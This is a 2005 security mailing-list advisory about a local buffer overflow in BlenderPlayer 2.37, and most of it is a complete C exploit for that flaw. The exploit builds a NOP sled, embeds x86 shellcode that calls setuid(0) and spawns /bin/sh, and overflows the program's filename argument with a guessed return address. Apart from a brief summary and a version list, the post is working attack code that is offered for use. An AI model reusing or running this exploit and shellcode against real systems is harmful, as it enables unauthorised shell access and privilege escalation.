[EXPL] BlenderPlayer Local Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05 

To: list@securiteam.com
Date: 29 Sep 2005 16:09:59 +0200

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  BlenderPlayer Local Buffer Overflow (Exploit)
------------------------------------------------------------------------

SUMMARY

 <http://www.blender3d.org/> Blender is "an open source software for 3D
modeling, animation, rendering, post-production, interactive creation and
playback. Available for all major operating systems under the GNU Public
License".

Multiple buffer overflow occurs in BlenderPlayer when specially crafted
filenames are passed as an argument.

DETAILS

Vulnerable Systems:
 * BlenderPlayer version 2.37

Exploit:
/*
    BlenderPlayer: www.blender.org
    BlenderPlayer 2.37 local bufferoverflow exploit
    Found & coded by Qnix .
    Qnix@bsdmail.org
*/

#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

void main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

  offset = 0;
  esp = sp();
  ret = esp - offset;

if(argc < 2)
{
msg();
printf("Useage : ./blenderplayer-exp <BlenderPlayer file> \n\n");
return 0;
} else {
msg();
printf("[~] RETADDR 0x%x\n\n", ret);
}
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl(argv[1], "blenderplayer",buffer, 0);
return 0;
}

void msg()
{
printf("\n ************************************* \n");
printf(" BlenderPlayer 2.37 \n");
printf(" by \n");
printf(" Qnix | Qnix[at]bsdmail[dot]org ");
printf("\n ************************************* \n\n");
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:Qnix@bsdmail.org> Qnix.

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